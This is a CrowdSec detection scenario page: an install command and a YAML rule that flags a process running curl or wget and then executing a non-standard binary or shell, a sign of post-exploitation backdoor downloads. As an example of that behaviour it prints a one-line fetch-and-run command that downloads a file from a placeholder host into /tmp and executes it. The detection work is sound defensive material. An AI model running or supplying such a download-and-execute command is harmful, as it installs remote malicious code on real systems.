cscli scenarios install crowdsecurity/auditd-postexploit-exec-from-netAttempt to detect a process that is successively invoking curl or wget and executing a non-standard payload or script.
This pattern is usually seen in post-exploitation behaviors to when downloading and executing backdoors :
1curl -o /tmp/smth http://X.X.X.X/some_malware ; chmod +x /tmp/smth ; /tmp/smth
1type: conditional2name: crowdsecurity/auditd-postexploit-exec-from-net3description: "Detect post-exploitation behaviour : curl/wget and exec"4filter: evt.Meta.log_type == 'execve'5#grouping by ppid to track a process doing those action in a short timeframe6groupby: evt.Meta.ppid7condition: |8 any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]})9 and (10 any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})11 or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] })12 )13leakspeed: 1s14capacity: -115blackhole: 1m16labels:17 service: linux18 confidence: 219 spoofable: 020 classification:21 - attack.T1059.00422 behavior: "linux:post-exploitation"23 label: "Post Exploitation command execution from Internet"24 remediation: false25scope:26 type: pid27 expression: evt.Meta.ppid28